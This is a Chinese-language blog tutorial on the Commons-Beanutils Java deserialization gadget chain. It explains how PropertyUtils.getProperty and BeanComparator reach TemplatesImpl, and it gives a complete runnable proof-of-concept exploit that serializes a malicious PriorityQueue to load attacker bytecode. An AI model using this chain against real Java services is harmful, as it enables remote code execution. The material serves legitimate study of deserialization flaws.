前言&环境配置
CB是指Apache Commons Beanutils这个库:
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
一个标准类里面的属性均为私有,并且针对每一个属性来说均有读取和设置这个属性的两个方法,又称为getter和setter。这样的类就叫做JavaBean
JDK8
pom.xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>
|
前置知识
Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任意 JavaBean 的 getter 方法:
A.java:
1 2 3 4 5 6 7 8 9 10 11
| class A { private String name = "xiaofuc";
public String getName() { return name; }
public void setName(String name) { this.name = name; } }
|
Test01.java
1 2 3 4 5 6 7 8
| import org.apache.commons.beanutils.PropertyUtils;
public class Test01 { public static void main(String[] args) throws Exception { System.out.println(PropertyUtils.getProperty(new A(), "name")); } }
|

这里我们已经能看出点猫腻了:我们可以通过调用PropertyUtils.getProperty()
的方式,激活对应类的getter方法。这即是CB链的核心原理,其他部分就是拼好链。
链子分析
这个链子没什么好讲的,妥妥拼好链,我们弄懂PropertyUtils.getProperty()
这一核心方法的原理即可。
所以写得比较简略=-=
前半的内容见我语雀,这里不再赘述:
CC3
其实后半与CC4链子也大同小异,看看:
CC4
总体链子触发结构为:
具体逻辑:
1 2 3 4 5 6 7 8
| PriorityQueue#readObject()-> Priorty#heapify()->siftDown()->siftDownUsingComparator()-> comparator#compare()-> (CC4部分,见我语雀)
BeanComparator#compare()->getProperty()->
CC3(见我语雀)
|

这里是CB的核心部分,能够通过PropertyUtils.getProperty()
,进而触发TemplatesImpl#getOutputproperties()
,触发CC3链子读取恶意字节码。
EXP
为了使EXP更清晰可观,这里为反射修改字段的过程单独写一个静态函数:
1 2 3 4 5
| public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getField(fieldName); field.setAccessible(true); field.set(obj, value); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CB { public static void main(String[] args) throws Exception{ byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "xiaofuc"); setFieldValue(templates, "_bytecodes", new byte[][] {code}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator beancomparator = new BeanComparator(); PriorityQueue queue = new PriorityQueue(beancomparator); queue.add(1); queue.add(1);
setFieldValue(beancomparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templates, templates}); serialize(queue); unserialize("ser.bin"); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|